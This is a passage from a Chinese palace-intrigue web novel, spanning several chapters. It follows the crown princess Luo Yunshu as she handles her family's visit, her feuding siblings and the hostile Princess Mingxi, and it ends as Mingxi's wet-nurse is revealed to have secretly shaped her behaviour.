“夫君。”叫了一声之后,洛云舒莫名红了脸。 这两个字虽然都是平声,但说出这两个字的时候,嘴巴一开一合,莫名地显得有些暧昧。 “嗯,你该自称妾身。” “是,夫君,妾身知道了。”洛云舒态度恭敬。 这时候,裴行渊蓦然一笑:“你我私下里相处,不必这般上纲上线,随意些就好。” “是,夫君。”洛云舒再不敢叫他殿下。 毕竟,裴行渊严于律己,更严以律她,哪怕在私底下,该注意的还是要注意。 洛云舒办事一板一眼,却没有留意到,裴行渊那悄悄弯了的唇角。 没多久,就到了洛府。 洛守礼带着一家人,在洛府门口等候。 待裴行渊扶着洛云舒的手走下马车,洛守礼带头跪下,朗声道:“微臣洛守礼,携家人拜见太子殿下、太子妃娘娘!” 众人齐齐拜下。 裴行渊牵着洛云舒的手站定,面色平静,俊美的脸上笑容温润,仿佛很和善的样子。 “免礼。” 洛守礼这才带头起身,迎洛云舒和裴行渊进去。 进府之后,裴行渊看向洛云舒,脸上带笑:“娘子,你陪岳母说会儿话,孤与岳父聊点事。” “好。”洛云舒含笑应了,目送裴行渊走远。 洛守礼跟在他身边,躬着身子引路。 一旁,孙氏感慨道:“太子殿下竟然对你这样好。” “是。”洛云舒并不反驳。 而洛宝珠盯着裴行渊离去的方向,一颗心砰砰直跳。 她从不曾这般近距离地接触过太子,也从不知,太子殿下竟是如此俊美。 俊美到,只这一眼,就能让她失了心神。 眼角的余光里,洛云舒看到了这一幕,并不理会,只走向站在后面,一直笑着看她的二叔一家,与他们一起朝着花厅走去。 在花厅落座之后,洛云舒取出准备好的礼物,转送给众人。 给二叔的,是一套上好的制金工具。二婶的则是两匹上好的云锦,洛明谦的是一方成色上乘的端砚,洛婉的是一副红宝石头面。 孙氏、洛明辉、洛宝珠也各有礼物,不分上下。 偏偏洛宝珠不知足,看着怀里的粉水晶头面皱了眉:“为何我的不是红的?” 洛云舒看向她,面色平静:“婉儿脸圆,戴红宝石显得温婉。你脸尖,压不住这套红宝石头面。倒是这套粉水晶头面,很衬你。” 这是实话。 可洛婉听不进去,反驳道:“我瞧着那红宝石头面就很好。” 洛云舒脸上带笑:“别逼我在今天这样的好日子亲自扇你。” 她的笑容依旧温和,不带丝毫的戾气。 孙氏却莫名地缩了缩脖子。 哪怕她不愿意承认,却不得不承认,自己这个大女儿瞧着和往日大有不同。 今日,洛云舒身着正红色织金云锦鸾凤袍,头戴赤金点翠凤冠,鬓间斜簪着九尾凤钗,举手投足间华贵庄重,典雅大气。 果然,权势养人。 转眼,洛宝珠已经哭着扑过来:“母亲,姐姐凶我!” 孙氏一怔,立刻推开洛宝珠:“给你姐姐认错。” 洛宝珠完全愣住,连哭都忘了:“母亲?” 孙氏厉声道:“给你姐姐认错!” 这一声,比刚才更重。 孙氏是洛家主母,虽然之前是洛云舒管账,但,并无损于孙氏的威仪。 不然,洛守礼的那些个妾室不至于这么怕她。 此刻,她厉声指责洛宝珠,尽显一府主母的威风。 洛宝珠到底是怕了,立刻认错:“都怪妹妹一时任性,还请姐姐见谅。” “嗯。”洛云舒应了一声,并没有多余的话。 她没再看洛宝珠,也没看洛明辉,只看向洛明谦:“我已经跟太子殿下提过,他已经开始着手办这件事,如无意外,再过三五日,你就可以去应天书院入学。” 洛明谦忙起身道谢:“多谢大姐姐。” “无妨。你是殿下举荐进去的,会比旁人受到更多的关注。但,不必理会这些闲言碎语,只管保持本心,一心向学即可。” “是,明谦谨记大姐姐教诲。” “不过,你也要记住,哪怕你出身寒微,也不必对谁一味顺从,该反抗的时候不要手软。若遇到无法解决的事情,可以去东宫寻我。” “是,大姐姐。” 洛云舒事无巨细,一一叮嘱洛明谦。 洛明谦接连点头,态度恭敬。 一旁,洛明辉静静听着,满脸不屑。 莫名地,他觉得这些话有些熟悉。 细细想来,这些话,姐姐原先也对他说过。 左右不过是些车轱辘话而已,听或不听,压根儿就没什么用处。 偏偏洛明谦这个没见识的还凝神细思,像是真的听了进去似的。 真是个蠢货。 洛明辉想走,但想到自己在鹿鸣书院做下的事情,他硬着头皮留下,趁着洛云舒喝茶的时候看向她:“姐姐,有件事,你得帮我。” 第82章 不然呢?我还能有什么办法? “何事?”洛云舒看向洛明辉,神色温和。 洛明辉语气强硬:“姐姐,我也想去应天书院,都是你的弟弟,你不能厚此薄彼。” 洛云舒脸上笑意不减分毫,语气很轻:“这一次的月度考核,你拿的是什么等次?” 鹿鸣书院每个月都有考核,考核后给每个考生核定等次,分为甲、乙、丙、丁四个等次。 其中,等次为丁的,需要补考,若补考再不过,就要从鹿鸣书院退学。 “自然是甲。我以甲等的核定等次入应天书院,很合适。” “可是……”洛云舒微微蹙眉,“应天书院很注重学生的品行,若品行不好,即便学问再精进,也无法进入应天书院。” 这是应天书院的一大特色。 他们认为,若品行不好,能力越大,反而会造成越大的危害。 所以,应天书院对学生的品行十分看重。 听完,洛明辉顿时变了脸色:“姐姐这话是什么意思?” “字面意思。若品行有失,应天书院会出公告,昭告世人。” 洛明辉瞬间泄气,小声嗫嚅道:“我补考没过。” “哦,那你要被鹿鸣书院退学了。”洛云舒的语气轻飘飘的,好像在说别人的事情。 当初,洛明辉资质平平,又不肯上进,为了让他进鹿鸣书院读书,洛云舒煞费苦心。 入学考核前整整三个月,她每天只睡两个多时辰,时刻盯着洛明辉读书。 哪怕是让洛明辉成功入学之后,洛云舒也不曾松懈。 鹿鸣书院的书籍,她手里也买了一份,只为时刻监督洛明辉的学习进度,以便及时给他指导。 为了他的学业,她曾倾尽全力。 她早知道他不是这块料,可她太想让家里一切都好。 洛明辉是家里唯一的男丁,她不得不想尽一切办法让他奋进。 可最后,她得到了什么呢? 如今再回忆起这些,洛云舒心境平和,不再兴起任何波澜。 洛明辉却恼了:“你不会是想眼睁睁看着我退学吧?” “不然呢?我还能有什么办法?” 法子自然是有的,只是不想为洛明辉费这份心。 为他,不值得。 洛明辉气极而笑:“太子妃的弟弟被书院退学,这话若是传出去,不好听吧?” “放心,不会有这样的流言传出来。” 洛明辉瞪洛云舒。 洛云舒平静以对。 直到这一刻,洛明辉才发现,他再也无法拿捏洛云舒。 可,曾经,她明明对他苦心教导,哪怕他觉得很烦,却不得不承认,为了他,洛云舒已经做到了极致。 就像现在悉心叮嘱洛明谦一样,曾经,洛云舒也是这样叮嘱他的。 学业、为人处世、日常饮食,她是真的做到了长姐如母。 可现在,她竟然不愿意管他了。 洛明辉不明白,哑着声音问道:“为什么?” “什么?”洛云舒佯装不解。 “为什么不愿意管我了?” 洛云舒笑容温和:“你不是不愿意让我管你吗?我现在不管了,不是正合你意?” 洛明辉脸色涨红,好半天才憋出一句话:“姐姐,不该是这样的。” 孙氏也凑过来,帮洛明辉说话:“云舒,明辉到底是你弟弟。” “是。所以呢?”洛云舒反问。 “不如让明辉和明谦一起入学,去应天书院。”孙氏态度恭敬,不敢多说。 洛云舒笑着摇头:“怕是、没这个机会了。” 说完,洛云舒看向正要进门的裴行渊。 裴行渊身后,洛守礼红光满面。 看来,该说的话已经说完了。 孙氏等人急忙起身行礼。 洛云舒也要起身,却很快被裴行渊上前扶住。 他脸上带笑,声音温和:“慢些。” “多谢殿下。” “你我之间,无须如此客气。” 裴行渊言语亲昵,并未自称孤。 说完,他看向洛守礼,语气比刚才冷硬了许多:“岳父大人,若是没什么事情,孤就先回去了。” 洛守礼受宠若惊,连声道:“好好好。” 裴行渊点头示意,牵着洛云舒的手走了出去。 洛家众人紧随其后,恭送二人上了马车。 马车渐行渐远。 孙氏开口,难掩激动:“老爷,太子殿下对云舒竟这样看重。” 洛守礼看着渐渐远去的马车,没搭话,只吩咐道:“尽快收拾东西,三日后,随我启程去肃州。” “什么?”孙氏的声调陡然拔高。 肃州靠近西疆,是极尽荒凉之地。 听说那里少雨干旱,刮风的时候飞沙走石,迎风就会喝一嘴土,条件十分艰苦。 “好端端的,为何要去肃州?”孙氏不解。 太子对洛云舒如此看重,不应该抬一抬洛守礼的官职吗? 怎么还让他去肃州? 洛守礼沉着脸,不悦道:“正常的调任而已,有什么好问的?” 实则,裴行渊刚才提起了洛守礼曾和东方亮联络的事情,敲打了他,顺便又提起让他去肃州。 洛守礼不敢不从。 更何况,太子许诺他,若在肃州好好干,明年就可以把他调回京城。 到时候,官职肯定是要升一升的。 “不能不去吗?”孙氏仍心存幻想。 洛守礼白了她一眼:“你若是做了吏部尚书,兴许可以。” 幻想被打破,孙氏还想再挣扎几下:“要不,我私下里去求求云舒?” “不要自作聪明。你若同去,就尽快收拾。若想留在京城,就安排去肃州的人。” 撂下这句话,洛守礼大步离去。 孙氏完全懵了。 居然真的要离开京城了。 这时候,洛宝珠上前挽住孙氏的胳膊,娇声道:“母亲,我不要去肃州。” “闭嘴吧!”孙氏心乱如麻,懒得理会洛宝珠。 这肃州,去还是不去,都是问题。 如果去肃州,就会远离京城的一切,好多好不容易才经营起来的关系一旦冷落下来,后面就不好再维持了。 可如果不去,就要让其他小妾去,想到洛守礼的性子,孙氏心里实在是没底。 …… 回了柔仪殿后,洛云舒换回寻常的衣服,随意地坐在榻上。 她来了兴致,问灵雀和知意:“灵雀、知意,你们说,我母亲会不会去肃州?” 第83章 我对你、情根深种 灵雀脱口而出:“奴婢觉得夫人不会去。” 知意想了一会儿,说道:“奴婢也觉得夫人不会去。大公子要读书,还要给二小姐相看,这些事情都耽误不得。毕竟,二小姐已经十四岁了。” 灵雀和知意都觉得孙氏不会去。 洛云舒却觉得相反。 孙氏会去。 孙氏或许会犹豫,会纠结,但是最终,她会选择和洛守礼一起去肃州。 因为,在孙氏心里,除了孙家的那一帮人,只有她自己是最重要的。 这一刻,洛云舒想到了孙玉瑶。 她唇角微勾,之前和霍少远的赌约,该兑现了。 正好,在孙氏走之前,让她“安心”。 孙氏短视,若孙玉瑶和霍少远有了婚约,她就放心了。 如此想着,洛云舒提笔,给阮清辞写了一封信。 当日,她和霍少远下赌约的时候,阮英杰和阮清辞也在。 她故意安排他们二人出现,就是为了现在这个时候。 有了见证人,霍少远就不好赖掉。 但,也仅仅是不好赖掉。 如果霍少远不顾名声,非要毁约,也没人能把他怎么样。 所以,她需要另外做点什么,来促成这件事。 片刻后,洛云舒有了主意。 她重新梳妆打扮,去了赵皇后的翊坤宫。 赵皇后正在处理后宫事务,见洛云舒过来,立刻放下手里的东西,端端坐好,等着洛云舒过来见礼。 知道赵皇后规矩严苛,洛云舒一丝不苟地行礼,不敢行差就错。 虽然眼前的赵皇后只有十二岁,但,她的威严立在这里,没人敢轻视她。 所以,哪怕喊出“母后”二字,洛云舒也没觉得有什么好别扭的。 这一刻,洛云舒突然懂了裴行渊。 赵皇后虽然年幼,面容稚嫩,但她的身份摆在这里,且有着和身份匹配的能力,所以,无人敢轻视她。 “免礼,赐座。” “谢母后。”洛云舒起身,在赵皇后的示意下,在她身旁的软座上坐下。 坐下后,洛云舒看向赵皇后,面容殷切:“母后,儿媳今日已经回门,日后就要着手处理东宫内务。儿媳有几处不懂的,想请示母后。” “你说。” 洛云舒挑了几件事来说。 这些事都是东宫内务,但都不是简单的事情。 赵皇后听完,知道洛云舒问出这些都经过了深思熟虑,所以,她认真作答。 得到答复之后,洛云舒面容愉悦,又问道:“母后,日后儿媳住在东宫,少不得要经常来您宫里走动。若是遇上后宫的各位娘娘,儿媳需要注意些什么,还请母后示下。” 赵皇后端正了神色,郑重道:“你是太子妃,在这宫里,除了陛下和本宫,以及太子殿下,你的身份不低于任何人。所以,面对其余的人,你不可失了太子妃的威仪。本宫可以明确地告诉你,哪怕是因此得罪了某位后妃,即便是宠妃,即便是闹到陛下那里,也不会是你的错。” 听完,洛云舒心中震动。 赵皇后这话是在告诉她,她只需要按规矩办事。 只要坚持按规矩办事,哪怕是得罪了谁,也不要紧。 重要的是,不能失了太子妃的威仪。 这一刻,洛云舒再次体会到了赵皇后的重规矩。 规矩在她心里,大过天。 这一瞬,她突然在想,赵皇后一直把自己套在规矩里,不知她是否快乐。 十二岁的皇后,无法承宠,却坐稳了这个皇后之位,无人知道她背地里下了多大的功夫。 果然,永远不可以小觑任何女人。 赵皇后的教导,洛云舒一一记下。 该说的说完之后,洛云舒主动道:“母后,儿媳打算过几天之后,在御花园办一场宴会,以便和各位公主熟识一下。毕竟,日后抬头不见低头见,若是认错了人,未免贻笑大方。” 作为太子妃,搞好人际关系也是很重要的一环。 赵皇后点点头,认可道:“这个自然是有必要的。不过,也不能只认各位公主,在后妃们面前也要混个脸熟。这样吧,本宫正打算办个品瓜宴,就借着这个宴会让你多认识一些人。顺便,你也学习一下宫廷宴会的流程。自明日之后,你每天上午到本宫这里来两个时辰,本宫手把手教你。” “是,母后。” 回到柔仪殿之后,洛云舒叫过知意,吩咐了几句,让她去阮府走一趟。 隔日,坊间就有了霍少远重诺的传言。 不过,这传言暂时还没传来,只是在小范围内传播。 要等这传言传播开来,还需要一些火候儿。 晚上的时候,裴行渊回来用饭,还递给她一张银票。 洛云舒接过,再次惊叹裴行渊的大手笔。 竟是一万两面额的银票。 “不知殿下想让我做什么事。” 裴行渊笑笑,并未在洛云舒面前自称孤,语气随意:“没什么事让你做,让你拿着花而已。” “妾身谢过殿下。” “嗯。”裴行渊点点头,又问,“在这里住着,是不是很闷?” “并没有。母后要办宴会,让我跟着去熟悉流程。” “母后很少这么看重谁。她重规矩,不少人背地里都议论她古板。” “母后尚且年轻,她若不重规矩,随便一个后妃都能越到她头上去,岂不是乱了套?” 裴行渊笑容温和:“你们倒是惺惺相惜。若是遇上有人挑衅,你只管出手。母后重规矩,不会因此苛责你。退一万步讲,即便母后那里没有动作,我也不会让你吃亏。” “殿下这是要为我撑腰?” “当然。”裴行渊笑着,靠得更近了些。 他好看的眼睛微微弯着,流露出醉人的笑意:“当然。我对你、情根深种。你若被人欺负,便是我无能。” 这话,有点冲冠一怒为红颜的意思。 毕竟,裴行渊没有弱点,也没有值得拿出来诟病的东西。 但现在,对出身不高的她情根深种,算是他身上为数不多的缺点。 做人不能太完美。 太过完美会让人忌惮。 这也是她和裴行渊合作的前提。 “那、要不要我故意做点什么,给殿下一个冲冠一怒为红颜的机会?” “不。洛氏云舒,你记住,永远不要为了创造什么机会让自己身入险境。无论任何时候,都要先保住自己。唯有保住自己,才能有更多可能。可一旦身入险境,就意味着会有变数。我们这种人,最怕变数。” “是,妾身受教了。”洛云舒端正神色,认真答复。 可等她抬头,却看到裴行渊的眼睛一错不错地看着她,他面带笑意,深邃的眸子里盛满温柔。 洛云舒心中一动,不愧是做太子的人,装深情都装得这么像。 却没料到,这时候,裴行渊突然靠近,修长白皙的大手按在她的手上。 洛云舒的手本能地向后一缩,惊愕地看过去。 第84章 习惯裴行渊对她的亲昵 裴行渊正笑着看她,面无异色。 洛云舒心领神会,把手重新放了回去,甚至还握住裴行渊的手,放在自己手上。 她要习惯。 习惯裴行渊对她的亲昵。 只有这样,才能不在外人面前出现破绽。 不然,如果裴行渊在外面仅仅是牵一下她的手,她就下意识地把手缩回来,会让别人觉得奇怪。 毕竟,在所有人看来,裴行渊娶她,是因为对她情根深种。 那么,理所当然地,她应该很享受这份宠爱,而不是下意识地躲避。 做完这些,洛云舒主动认错:“殿下,是我疏忽了。” 裴行渊笑笑:“无妨。” 说话的时候,他眸光温柔,仿佛真的在看着自己的爱人。 洛云舒再次感叹于裴行渊的自控能力。 能对一个毫无爱意的人表露出这些,裴行渊以后做什么都会成功的。 这时候,裴行渊突然提起一个人:“若是遇上明曦,你不必理会。” 裴明曦,裴行渊一母同胞的亲妹妹。 但明曦公主这个人,很奇怪。 原先,洛云舒只是听说这位明曦公主性子高傲,脸上永远挂着拒人于千里之外的表情。 若有人主动示好,她只会口出恶言,让人难堪。 最开始的时候,洛云舒原本以为这是谣言。 可有一次,在一次宴会上,她亲眼目睹明曦公主是如何骂人的。 当时,面对主动给她行礼的闺秀,明曦公主一脸的不耐烦,从那位闺秀的衣着首饰到长相,她当众把那个闺秀说得体无完肤。 听闻那位闺秀当晚回去,直接就悬了梁。 幸好家人发现得及时,这才没有酿下大错。 为此,海御史参了明曦公主一本,但最终,陛下也只是小惩大诫,并未把明曦公主怎么样。 想到这儿,洛云舒很想知道在裴行渊眼里,明曦公主究竟是怎样一个人,也就直接问出了口。 听洛云舒问完,裴行渊陷入沉思。 这一刻,他的神色有些落寞。 除了陛下,明曦公主是他在这个世界上唯一的亲人了。 沉默许久之后,裴行渊开口,语气沉重:“明曦以前不是这个样子的。母后在的时候,她温柔讨喜,从不责罚宫人。可自打母后没了之后,她的性子就变了。再加上我日日事忙,顾不上她,等我发现她性情大变的时候,已经来不及了。我曾规劝过她,让她收敛一些性子,与人为善,但是没什么用。” “殿下放心,我不会让你难做。” 裴行渊微微摇头:“你不必想这么多。不过,你不理会她,她多半也是比较安静的。” 赵皇后举办宴会,明曦公主也会出席。 所以,裴行渊才会主动提起这件事。 洛云舒懂,点了点头:“殿下放心,我会见机行事的。” “好。”裴行渊应了一声,但脸上的颓败难以掩饰。 这是洛云舒第一次见裴行渊流露出这样的神情。 看得出来,他很为明曦公主苦恼。 第二日,在翊坤宫,赵皇后也提起了明曦公主。 提到她,赵皇后先是叹了口气:“即便是嚣张跋扈如霍贵妃,遇上本宫都是乖乖顺顺的。唯有她,本宫是半点法子也没有。她这个人,真是软硬不吃。” 说着,赵皇后就开始捏眉心。 明曦公主的无礼,洛云舒曾经旁观过,也略知一二。 不过,她还是觉得有点奇怪。 哪怕是因为先皇后的故去,明曦公主也不应该是这个样子的。 如果说小时候这样是因为想不开,可现在她已经十五岁了,到了明辨是非的年纪,不该一直这个样子才对。 即便是丧母之痛,也会随着时间的流逝而变得轻淡。 而明曦公主仿佛一直沉溺其中,无法自拔。 或许,明曦公主需要一场改变。 洛云舒主动问道:“母后,明曦的婚事……” 听洛云舒提起这个,赵皇后从捏眉心变成了捶脑壳儿。 她长叹一声:“不说这个还好,说这个本宫更发愁。去年的时候本宫有意撮合她和本宫的娘家小叔叔。本宫那娘家小叔叔也是个上进的,书读得很好,可一见面,明曦就骂他是个书呆子,长得丑想得美,气得我那小叔叔回去之后,三天都没吃饭。” 洛云舒皱了皱眉,看来这位明曦公主还真是个硬茬子。 “那明曦有什么关系亲近的人吗?” “没有。她那性子,跟谁都合不来。”说完,赵皇后劝洛云舒,“云舒,虽然你是明曦的亲嫂嫂,但是本宫劝你,她的事你别管,不然,她能把你给气死。至于她的婚事,让她且等着,等她年纪大了,知道着急了,兴许就能改变性子。” 最后,赵皇后气得直接说了气话。 洛云舒点头应下,转头回了柔仪殿,就给明曦公主下了帖子,请她来东宫赴宴。 毕竟,身为她的嫂嫂,洛云舒还没见过她,请她来赴宴很正常。 知意有点担心:“娘娘,现在就请公主殿下过来,是不是太草率了?” 毕竟,洛云舒还不曾在东宫收服人心,一来就和明曦公主对上,也不知道是福还是祸。 她担心若是明曦公主对洛云舒不敬,会影响洛云舒在东宫的威望。 洛云舒却没这个担心:“无妨。让她只管放马过来。她有什么招数,我只管接着也就是了。” 不过是——兵来将挡,水来土掩而已。 有何惧? 请明曦公主过来,是家宴,所以定在晚上。 但,洛云舒特意让寒霜去告知裴行渊,让他不必出席晚上的家宴。 谁知,裴行渊竟然主动回来了:“你要宴请明曦?” “是。” “她会让你难堪。” “殿下可信我?” 裴行渊看着洛云舒,点点头:“孤信你。” “既然殿下信我,就只管把心放回肚子里去。记住我的话,晚上的家宴,殿下不必出席,还请殿下莫要坏了我的事。” 这话,说的有点不客气。 但,裴行渊并不在意。 “你有治明曦的法子?” “现在还没有。不过我准备见招拆招。”说着,洛云舒微微笑了,“殿下的任何后顾之忧,我都会设法扫除。” “辛苦你了。” 洛云舒笑笑:“殿下言重了。” 对付一个小姑娘而已,算什么辛苦? 夜幕降临时,柔仪殿亮了灯。 明曦公主踏着亮光而来,身后跟着两个宫女。 和印象中一样,明曦公主圆脸,眉眼和裴行渊有些类似,原本是很温婉的面相,但是她脸色很冷,看着很不讨喜。 她径直走进来,不曾让人通报,看向洛云舒的眼神分外不善:“不过是只山鸡,也配请本公主吃饭?” 第85章 就这点儿本事? 这是在嘲讽洛云舒出身低。 洛云舒坐着没动,也没恼,只笑着看过去:“你觉得本宫是山鸡,却还是乖乖来了。看来,你这位公主,也不怎么高贵。” 明曦公主瞪大眼睛,惊愕地看着洛云舒,似乎是没料到她居然会说出这么一番话。 “说话这般粗鄙,你配做太子妃吗?” “你都配做公主,为何本宫不配做太子妃?”洛云舒反唇相讥。 顷刻间,明曦公主气得脸颊涨红:“皇兄真是昏了头,居然娶你这样的女人做太子妃!” “老天爷才是昏了头,让你这样的人做了行渊的妹妹,平白为他招黑。” 洛云舒言辞犀利,寸步不让。 她看着明曦公主,想看看她这张嘴里还能说出什么话来。 谁知,明曦公主竟卡了壳。 她瞪着洛云舒,说不出更多的话。 沉默半天才憋出一句:“本公主这就去找皇兄,你给我等着!” 说完,明曦公主气鼓鼓地离去。 看着她的身影,洛云舒唇角微勾。 就这点儿本事? 她招手叫过灵雀,吩咐道:“找个机灵的跟着,看明曦公主离开柔仪殿之后去了哪里。” “是。” 很快,灵雀回来,称明曦公主出去之后,并未去寻太子,反倒是回了自己的永宁宫。 听完,洛云舒心里有底了。 明曦公主此人,心地不坏。 心地不坏,却又总是出言伤人,当众让人难堪,这就有点奇怪。 没多久,裴行渊回来了。 洛云舒把自己的分析告诉了他。 裴行渊略有不解:“你怎知她心地不坏?” 他很难把这四个字和明曦公主联系起来。 毕竟,明曦公主曾害得一个朝臣之女寻了短见。 枉顾人命的公主,惹人诟病。 当初,这件事闹得沸沸扬扬。 “殿下,若明曦是个彻头彻尾的坏人,从柔仪殿出去,她应该去向你告状。按照常理推测,你我新婚,我却惹怒了你的亲妹妹,你自然会为你妹妹出头。如此一来,你我夫妻便会不睦。而明曦不想看到我与殿下不睦,所以,她出去之后,并未去找你撑腰。” 裴行渊恍然大悟:“原来如此。” 但是,他还是很难觉得明曦公主心地不坏。 或许,只是凑巧了。 洛云舒看着裴行渊,缓缓道:“殿下,父皇不喜明曦,与她也不亲近,如今你是明曦唯一的依靠。可她受了委屈,并没有第一时间寻求你的帮助,这是为何?” “许是因为过去我对她多有斥责,与她并不亲厚的缘故吧。” “这或许是其中的原因之一。但更深层的原因是,在明曦心里,你并不值得依靠。而明曦的永宁宫里,有她所依赖的人。妾身记得,明曦身边有位自小伺候她的奶嬷嬷,对吧?” 人在受了委屈的时候,会本能地向亲近之人寻求帮助。 洛云舒查过,因为明曦公主脾气不好,屡次出言伤人,所以,在永宁宫伺候的宫人来来回回换了好几批,唯有这位奶嬷嬷,却是一直跟着她的。 关于这位奶嬷嬷,洛云舒查不出更多的信息,就打算问裴行渊。 “是,这位奶嬷嬷是我母后当初亲自选定的。她姓崔,是我外祖父家管事的儿媳,她那儿子刚出生就夭折了,被我母后选到宫里,做了明曦的奶嬷嬷。后来,我母后故去,她的丈夫也没了,就一直留在宫里照顾明曦。明曦很依赖她,从一定程度上而言,二人亲如母女。” 洛云舒点点头,又问:“明曦宫里没有教养嬷嬷吗?” “原先是有的。但是明曦性子乖张,谁都不服。哪怕是教养嬷嬷,她也照骂不误,甚至不许教养嬷嬷进门。” “这也就是说,明曦长成现在这个样子,和这位奶嬷嬷有很大的关系。” 裴行渊皱了皱眉:“可她只是个下人。” “那这位奶嬷嬷是个什么性子?” “她……”裴行渊的话戛然而止。 他终于意识到了不对劲儿的地方。 和明曦公主相反,这位奶嬷嬷是个与人为善的性子,逢人就带三分笑意,从不犯口舌。 和这样的人朝夕相处,明曦怎么会是现在这个性子? 除非,这位奶嬷嬷人前一套,背后一套。 片刻后,裴行渊深吸一口气:“云舒,还是你心细。” “不,是殿下有更重要的事情要做,对于这些小事,没办法做到观察入微。” “无需宽慰我。”裴行渊沉思片刻,“我这就去永宁宫走一趟,把这位崔嬷嬷遣走。” “不妥。”洛云舒摇头拒绝,“这位崔嬷嬷跟了明曦多年,你刚才也说了,二人亲如母女。骤然间将崔嬷嬷送走,对于明曦而言,这份伤痛不亚于当初先皇后的去世。所以,不能这么行事。” “总不能眼睁睁看着她继续影响明曦。单论现在而言,明曦的婚事已经受到了影响。” “我知道殿下着急。但是,这件事不可操之过急,得慢慢来。有道是知己知彼,百战不殆。殿下,依我之见,须得派高手潜伏在永宁宫,暗中观察二人私底下的相处方式。唯有如此,我们才可以见招拆招。” 裴行渊点点头,认可洛云舒的话。 他看着洛云舒,眸色赤诚:“云舒,让你费心了。” “殿下言重了。妾身嫁进来,就是给殿下处理问题的。殿下只需忙着外面的事情就好,这些家事只管交给妾身。妾身会努力做好,不让殿下失望。” “不会。云舒,你很厉害。你的敏锐和计谋,无人能及。” “殿下谬赞了。” 二人又说了会儿话,之后,裴行渊把寒七叫了过来。 “寒霜须得贴身保护你,去永宁宫潜伏的事情,就交给寒七。若有什么变故,让寒七直接向你禀报。” “好。”洛云舒一口应下。 第二日,从赵皇后的翊坤宫出来之后,洛云舒让人去了一趟永宁宫,请明曦公主过来喝茶。 她在故意制造事端,好让明曦公主和那位崔嬷嬷有更多的互动。 唯有如此,才能给寒七创造机会,更好地观察二人之间的相处模式。 没过多久,去传话的人回来禀报说明曦公主身体不适,不能前来。 稍晚些时候,替换的暗卫过去之后,寒七回来复命。 第86章 如果日后登基的,不是太子殿下呢? “回娘娘,目前并未发现崔嬷嬷有什么不对劲儿的地方。” 寒七的禀报,在洛云舒的意料之中。 崔嬷嬷藏得这么深,一时间没有什么发现也是正常的。 “再探。”洛云舒如此吩咐。 如果崔嬷嬷有破绽,终有一日会露出狐狸尾巴来。 第二天差不多的时间,洛云舒再次让人去请明曦公主。 这一次,明曦公主来了,但她身边这次跟着的不是宫女,而是那位崔嬷嬷。 崔嬷嬷很瘦,脸上几乎没什么肉。 她的面相有点刻薄,但是逢人就带三分笑意,并不让人觉得反感。 一见面,崔嬷嬷就忙不迭地行礼:“老奴见过太子妃娘娘。” 洛云舒瞥了她一眼,没理会,只看向明曦公主:“昨日称病不来,是不把本宫放在眼里吗?” 明曦公主看过来,脸色比往日里更冷:“你叫我,我就一定要来吗?” “不然呢?如今你到了适嫁之龄,你皇兄忙着正事,顾不上你。母后又不管你的事,往后就只有本宫会操心你的婚事。这个时候不讨好本宫,是等着本宫把你嫁给一个乞丐吗?” “本宫是公主,就算是不嫁人,本宫也过得下去。” “你这话说得倒是不错。但是你别忘了,你没有封地,也就没有稳定的收入来源。换句话来说,你是靠别人养着的。如今是靠着父皇,日后你打算靠谁?太子殿下吗?” 明曦公主的脸色很冷:“是又如何?” “哦,原来你是这么想的啊。”洛云舒的脸上流露出一副恍然大悟的表情,她话锋一转,犀利道,“可是,如果日后登基的,不是太子殿下呢?” “放肆!你胡说什么!我皇兄已经是太子,怎么可能日后登基的不是他!”这话,明曦公主几乎是吼出来的。 看得出来,她很生气,也很介意洛云舒这样说。 所以,明曦公主还是在意裴行渊的。 洛云舒很快得出这个判断。 她丝毫不慌,继续道:“凡事总有变数。太子殿下并无生身母亲可以依靠,更何况,因为你,太子殿下在朝中遭受了不少诟病。所以,以后会发生什么,谁都无法预知。” 明曦公主看着洛云舒,眼神戒备:“你说这么多,到底是什么意思?” 洛云舒拍了一下桌子,冷眼看过去:“放肆!谁准你在本宫面前大呼小叫的?来人,将崔嬷嬷拉下去,重打十大板!” 明曦公主瞬间就慌了:“洛云舒,你这是在杀鸡儆猴!” 洛云舒却不跟她掰扯,沉着脸看着崔嬷嬷被带下去。 明曦公主扑过去,将人拦下。 “崔嬷嬷是我的人,你没资格处置她!” “只要本宫一日是太子妃,本宫就有这个资格!你对人出言不逊,就是你这奶嬷嬷教导不力!本宫处罚她,很合理。” 洛云舒在故意激化矛盾。 只要她给的压力足够大,这位崔嬷嬷后面就会有所行动。 “你到底想让我怎么做?”明曦公主大喊。 “很简单!收起你那张毒嘴,好好与人交谈,别再做出害得人家悬梁自尽的事情!” 明曦公主瞪着洛云舒,许久之后才挪开视线:“好,我答应你。” 然而,出了柔仪殿,明曦公主直接去了翊坤宫,找赵皇后告状。 但,由于洛云舒事先跟赵皇后提过,赵皇后反倒是站在洛云舒这边:“明曦,你长嫂这是在管教你,你应该听她的。” 赵皇后并不为明曦公主撑腰。 明曦公主大惊:“母后,您是最重规矩的。怎么会说这样的话?” “长嫂如母,太子妃管教你、甚至是你的身边人,也在情理之中。” “你们……”明曦公主气得说不出话来,最后是哭着出去的。 回到永宁宫,她直接哭倒在崔嬷嬷的怀里:“嬷嬷,我只有你了。” 崔嬷嬷小声安抚:“公主,您是公主,就算是太子妃,也不能欺负了您。依老奴看,这件事还是得找太子殿下为您撑腰。” “可您不是说……” “公主,慎言。” 说完,崔嬷嬷把殿内的其他下人遣了出去。 “公主,这件事,您知,老奴知,可太子殿下并不知道。他被蒙在鼓里,所以,您去求助,太子殿下一定会应允的。” “不。”明曦公主摇头,“皇兄刚刚大婚,我不能搅和他的事。” “可他并不是您真正的兄长,您现在一味地为他考虑,可他却纵容太子妃欺负您。甚至,日后事情败露,第一个要处置您的人就是太子殿下。既然如此,您又何须顾虑他的感受?” 明曦公主泪流满面:“嬷嬷,我不是父皇的孩子,您真的能确认吗?” “当然能。先皇后就是因为这件事死的。所有人都以为她是病故,实则不然,她是被陛下处死的。陛下什么都知道。难道您忘了,之前的那桩刺杀,若不是老奴护着,您就已经是孤魂野鬼了。” 哪怕是听了千百遍,明曦公主还是觉得难以置信。 她竟然、不是父皇的孩子! 她不愿意接受,却不得不接受。 旁边,崔嬷嬷还在低声说道:“公主,老奴教给您的处事方法没有错。您对人口出恶言,旁人就不好接近您。不接近您,就发现不了更多的事情。这是对的,也是对您最好的保护。您瞧,这么多年,咱们不也活过来了吗?您活得越让人讨厌,就越安全。” 明曦公主双手掩面:“可我曾害得祝家小姐差点儿没了性命。” “殿下,那不是您的错。” 